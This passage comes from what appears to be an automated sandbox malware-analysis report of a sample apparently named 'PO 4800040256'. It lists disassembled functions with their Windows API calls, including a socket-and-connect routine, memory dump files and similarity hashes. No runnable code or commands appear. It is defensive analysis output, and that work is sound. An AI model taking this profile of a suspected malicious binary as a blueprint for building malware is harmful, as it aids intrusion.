                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 004647A2: inet_addr.WSOCK32(?), ref: 004647C7
                                                                                                                                                                      • socket.WSOCK32(00000002,00000001,00000006,00000000), ref: 00464985
                                                                                                                                                                      • WSAGetLastError.WSOCK32(00000000,00000002,00000001,00000006,00000000), ref: 00464993
                                                                                                                                                                      • connect.WSOCK32(00000000,00000000,00000010,00000002,00000001,00000006,00000000), ref: 004649CD
                                                                                                                                                                      • WSAGetLastError.WSOCK32(00000000,00000000,00000000,00000010,00000002,00000001,00000006,00000000), ref: 004649F4
                                                                                                                                                                      • closesocket.WSOCK32(00000000,00000000,00000000,00000000,00000000,00000010,00000002,00000001,00000006,00000000), ref: 00464A07
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ErrorLast$closesocketconnectinet_addrsocket
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 245547762-0
                                                                                                                                                                      • Opcode ID: aaa03f654d2c2080970664bbc2635e6406c59b0d093f7dcd590a1c65d79e0220
                                                                                                                                                                      • Instruction ID: b27d5ee258410aac5bd3077dd9c53ce90635b59006b610d0ec7ee295a05cd03d
                                                                                                                                                                      • Opcode Fuzzy Hash: aaa03f654d2c2080970664bbc2635e6406c59b0d093f7dcd590a1c65d79e0220
                                                                                                                                                                      • Instruction Fuzzy Hash: 3211DA712002109BD310FB2AC842F9BB3D8AF85728F04895FF594A72D2D7B9A885875A
                                                                                                                                                                      Function 0044710F Relevance: 7.6, APIs: 5, Instructions: 67COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                                      • ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                                      • SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                                      • BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                                      • SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Object$Select$BeginCreateDeletePath
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2338827641-0
                                                                                                                                                                      • Opcode ID: f19e52de08adcd67550c2e9faff4417be3cdd69e9125f029607893bae639c511
                                                                                                                                                                      • Instruction ID: ab30216038401830d00444c504d41f25dcbf82a6e2307e0a418987ed8484b610
                                                                                                                                                                      • Opcode Fuzzy Hash: f19e52de08adcd67550c2e9faff4417be3cdd69e9125f029607893bae639c511
                                                                                                                                                                      • Instruction Fuzzy Hash: 7E2171B18083019FD320CF29AD44A1B7FACF74A724F14052FF654933A1EB789849CB69
                                                                                                                                                                      Function 0043770A Relevance: 7.6, APIs: 5, Instructions: 56sleepCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • Sleep.KERNEL32(00000000,00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043771E
                                                                                                                                                                      • QueryPerformanceCounter.KERNEL32(?,?,00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043773C
                                                                                                                                                                      • Sleep.KERNEL32(00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043775C
                                                                                                                                                                      • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,004448B6,0000000F,?), ref: 00437767
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CounterPerformanceQuerySleep
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2875609808-0
                                                                                                                                                                      • Opcode ID: 901ea73111326f2a8af3d8a1217edfde6b6dff748f8bb26d3b0ac17b2ce0a9c5
                                                                                                                                                                      • Instruction ID: fd8a8a83491f03de43ea78fbc63302b75a2fa5438857304713168bbc83ca9150
                                                                                                                                                                      • Opcode Fuzzy Hash: 901ea73111326f2a8af3d8a1217edfde6b6dff748f8bb26d3b0ac17b2ce0a9c5
                                                                                                                                                                      • Instruction Fuzzy Hash: EA11A3B64093119BC210EF1ADA88A8FB7F4FFD8765F004D2EF9C462250DB34D5598B9A
                                                                                                                                                                      Function 0046FCC6 Relevance: 7.5, APIs: 5, Instructions: 49windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SendMessageW.USER32 ref: 0046FD00
                                                                                                                                                                      • SendMessageW.USER32(?,0000104C,00000000,?), ref: 0046FD2E
                                                                                                                                                                      • SendMessageW.USER32(?,00001015,?,?), ref: 0046FD4B
                                                                                                                                                                      • DestroyIcon.USER32(?), ref: 0046FD58
                                                                                                                                                                      • DestroyIcon.USER32(?), ref: 0046FD5F
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend$DestroyIcon
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3419509030-0
                                                                                                                                                                      • Opcode ID: a24bc400bf7eaff3d1708451a80103ed5292b50ec6011cebb58ec712c1110a53
                                                                                                                                                                      • Instruction ID: ba7c1cc62690e465ab1dcb48fa3e0f79152c3dc78d34179caeeeb49ed344ab69
                                                                                                                                                                      • Opcode Fuzzy Hash: a24bc400bf7eaff3d1708451a80103ed5292b50ec6011cebb58ec712c1110a53
                                                                                                                                                                      • Instruction Fuzzy Hash: 5F1182B15043449BE730DF14DC46BABB7E8FBC5714F00492EE6C857291D6B8A84A8B67
                                                                                                                                                                      Function 004175A2 Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • __getptd.LIBCMT ref: 004175AE
                                                                                                                                                                        • Part of subcall function 00416C72: __getptd_noexit.LIBCMT ref: 00416C75
                                                                                                                                                                        • Part of subcall function 00416C72: __amsg_exit.LIBCMT ref: 00416C82
                                                                                                                                                                      • __amsg_exit.LIBCMT ref: 004175CE
                                                                                                                                                                      • __lock.LIBCMT ref: 004175DE
                                                                                                                                                                      • InterlockedDecrement.KERNEL32(?), ref: 004175FB
                                                                                                                                                                      • InterlockedIncrement.KERNEL32(00A02D08), ref: 00417626
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 4271482742-0
                                                                                                                                                                      • Opcode ID: 9041076209036267701916e3e7e7a5ecd924b858c75713c79b1599e88ef874d9
                                                                                                                                                                      • Instruction ID: de548182bd5f57d4f8c9f8a4c79293bfa6802d75d0085d2526eaa3c6a777046b
                                                                                                                                                                      • Opcode Fuzzy Hash: 9041076209036267701916e3e7e7a5ecd924b858c75713c79b1599e88ef874d9
                                                                                                                                                                      • Instruction Fuzzy Hash: 9401AD31944A11AFC710ABA998497CE7BB0BB11724F0540ABE80063791CB3CA9C1CFEE
                                                                                                                                                                      Function 004555B8 Relevance: 7.5, APIs: 5, Instructions: 45windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                      • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                      • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Destroy$DeleteObjectWindow$Icon
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 4023252218-0
                                                                                                                                                                      • Opcode ID: 187bd120907745c88baacffad0920a9106e1cca1ea6db424662e0a83cd01c53e
                                                                                                                                                                      • Instruction ID: d1816f9fa450f538fb043821254e2bd2cfb9ade9207d957631f6d0e9d50691b6
                                                                                                                                                                      • Opcode Fuzzy Hash: 187bd120907745c88baacffad0920a9106e1cca1ea6db424662e0a83cd01c53e
                                                                                                                                                                      • Instruction Fuzzy Hash: 05015E70300605ABCB20DF65D9D4B2B77A8BF14712B50452AFD04D7346EB38EC48CB69
                                                                                                                                                                      Function 0046032B Relevance: 7.5, APIs: 5, Instructions: 43windowtimeCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetDlgItem.USER32(?,000003E9), ref: 00460342
                                                                                                                                                                      • GetWindowTextW.USER32(00000000,00000100,00000100), ref: 00460357
                                                                                                                                                                      • MessageBeep.USER32(00000000), ref: 0046036D
                                                                                                                                                                      • KillTimer.USER32(?,0000040A), ref: 00460392
                                                                                                                                                                      • EndDialog.USER32(?,00000001), ref: 004603AB
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3741023627-0
                                                                                                                                                                      • Opcode ID: 5e0545b8da8baa7cb8324f4116d33f6edaa60507eab9176a587cebaf75a8c25b
                                                                                                                                                                      • Instruction ID: 48c257e0c270193328064fa19c5b46d6a870d8092b70dfec968bdaebd9a60f08
                                                                                                                                                                      • Opcode Fuzzy Hash: 5e0545b8da8baa7cb8324f4116d33f6edaa60507eab9176a587cebaf75a8c25b
                                                                                                                                                                      • Instruction Fuzzy Hash: BE018831500300A7E7209B54DE5DBDB77A8BF44B05F00492EB681A25D0E7F8A584CB55
                                                                                                                                                                      Function 00455505 Relevance: 7.5, APIs: 5, Instructions: 43windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SendMessageW.USER32(?,00001101,00000000,?), ref: 00455514
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                      • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                      • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: DeleteDestroyObject$IconMessageSendWindow
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1489400265-0
                                                                                                                                                                      • Opcode ID: fb8346e1cf28bbdc4ad062342734fe1bacbf25b41774fd01ae6266dc65fad9d1
                                                                                                                                                                      • Instruction ID: 68d82c845863845e83b9d92669df32d5d1b96a6c2c0272d07869f65424c05900
                                                                                                                                                                      • Opcode Fuzzy Hash: fb8346e1cf28bbdc4ad062342734fe1bacbf25b41774fd01ae6266dc65fad9d1
                                                                                                                                                                      • Instruction Fuzzy Hash: D9014F703006419BDB10EF65DED8A2A73A9FB44712B40455AFE05DB286DB78EC49CB68
                                                                                                                                                                      Function 0045551F Relevance: 7.5, APIs: 5, Instructions: 42windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 0043343D: InvalidateRect.USER32(?,00000000,00000001), ref: 004334BE
                                                                                                                                                                      • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                      • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                      • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Destroy$DeleteObjectWindow$IconInvalidateRect
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1042038666-0
                                                                                                                                                                      • Opcode ID: 920ee65d6839c6288c76afce6441748d32e1b72318fe83d584ccefe2da360159
                                                                                                                                                                      • Instruction ID: 707d1f3050e1f0ff98422ce5efa9f9a4d3559fdafbc0a23101ed238e91bf2869
                                                                                                                                                                      • Opcode Fuzzy Hash: 920ee65d6839c6288c76afce6441748d32e1b72318fe83d584ccefe2da360159
                                                                                                                                                                      • Instruction Fuzzy Hash: B2014B702006419BCB10AF65D9C8A2A33ACAF19322780456AFD05D7242DB28EC498B79
                                                                                                                                                                      Function 0043315E Relevance: 7.5, APIs: 5, Instructions: 33COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Path$ObjectStroke$DeleteFillSelect
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2625713937-0
                                                                                                                                                                      • Opcode ID: a89ec47609df172868659220a46891f09f78d761c189f4b7bb4a315096e7830c
                                                                                                                                                                      • Instruction ID: 1b0d13c7bbaa275692c81ef4a4760df4fcf6218f807946f7e03cce85d1463269
                                                                                                                                                                      • Opcode Fuzzy Hash: a89ec47609df172868659220a46891f09f78d761c189f4b7bb4a315096e7830c
                                                                                                                                                                      • Instruction Fuzzy Hash: F7F0A4751052019BD7508F18EC0C70E7FA8FB4F325F04462EEA19932E0DB781546CBAD
                                                                                                                                                                      Function 004140CF Relevance: 7.5, APIs: 5, Instructions: 24threadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 00411A35: _doexit.LIBCMT ref: 00411A41
                                                                                                                                                                      • ___set_flsgetvalue.LIBCMT ref: 004140E1
                                                                                                                                                                        • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                                                                                                        • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                                                                                        • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                                                                                                      • ___fls_getvalue@4.LIBCMT ref: 004140EC
                                                                                                                                                                        • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                                                                                      • ___fls_setvalue@8.LIBCMT ref: 004140FF
                                                                                                                                                                        • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                                                                                      • GetLastError.KERNEL32(00000000,?,00000000), ref: 00414108
                                                                                                                                                                      • ExitThread.KERNEL32 ref: 0041410F
                                                                                                                                                                      • GetCurrentThreadId.KERNEL32 ref: 00414115
                                                                                                                                                                      • __freefls@4.LIBCMT ref: 00414135
                                                                                                                                                                      • __IsNonwritableInCurrentImage.LIBCMT ref: 00414148
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Value$CurrentThread__decode_pointer$ErrorExitImageLastNonwritable___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 132634196-0
                                                                                                                                                                      • Opcode ID: dbe0df41a3d89f03eebcd77cedb8c7fbd95cde8327ee68e759feca9a6a87dff2
                                                                                                                                                                      • Instruction ID: c6f54ac6c47f72d6c6be617d0ab0d95393642b3a08ca47198428750b18cc63fb
                                                                                                                                                                      • Opcode Fuzzy Hash: dbe0df41a3d89f03eebcd77cedb8c7fbd95cde8327ee68e759feca9a6a87dff2
                                                                                                                                                                      • Instruction Fuzzy Hash: EFE0B6318012096B8F0177F28E2A8DF3A2DAD56799B12842EBF10A3112DA6DD9D147AD
                                                                                                                                                                      Function 00415601 Relevance: 7.5, APIs: 5, Instructions: 23threadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • __IsNonwritableInCurrentImage.LIBCMT ref: 00415610
                                                                                                                                                                        • Part of subcall function 00418540: __FindPESection.LIBCMT ref: 0041859B
                                                                                                                                                                      • __getptd_noexit.LIBCMT ref: 00415620
                                                                                                                                                                      • CloseHandle.KERNEL32(?,?,0041566B), ref: 00415634
                                                                                                                                                                      • __freeptd.LIBCMT ref: 0041563B
                                                                                                                                                                      • ExitThread.KERNEL32 ref: 00415643
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CloseCurrentExitFindHandleImageNonwritableSectionThread__freeptd__getptd_noexit
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3798957060-0
                                                                                                                                                                      • Opcode ID: d3b08fe511e09ca6ea2d918a54b62a74066439bca0a0e456eaad9824bd7e2a02
                                                                                                                                                                      • Instruction ID: 5ad9b57b40d8b41da6f03c32f2a15b2799e0bbfe2e5ad1689210a27a588f1b2a
                                                                                                                                                                      • Opcode Fuzzy Hash: d3b08fe511e09ca6ea2d918a54b62a74066439bca0a0e456eaad9824bd7e2a02
                                                                                                                                                                      • Instruction Fuzzy Hash: 29E01A31501A1197C2212BB9AC097DE3255AF01F36F944A6EF81A952A0DB6CD98147AD
                                                                                                                                                                      Function 0041567F Relevance: 7.5, APIs: 5, Instructions: 22threadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 00411A35: _doexit.LIBCMT ref: 00411A41
                                                                                                                                                                      • ___set_flsgetvalue.LIBCMT ref: 00415690
                                                                                                                                                                        • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                                                                                                        • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                                                                                        • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                                                                                                      • ___fls_getvalue@4.LIBCMT ref: 0041569B
                                                                                                                                                                        • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                                                                                      • ___fls_setvalue@8.LIBCMT ref: 004156AD
                                                                                                                                                                        • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                                                                                      • GetLastError.KERNEL32(00000000,?,00000000), ref: 004156B6
                                                                                                                                                                      • ExitThread.KERNEL32 ref: 004156BD
                                                                                                                                                                      • __freefls@4.LIBCMT ref: 004156D9
                                                                                                                                                                      • __IsNonwritableInCurrentImage.LIBCMT ref: 004156EC
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
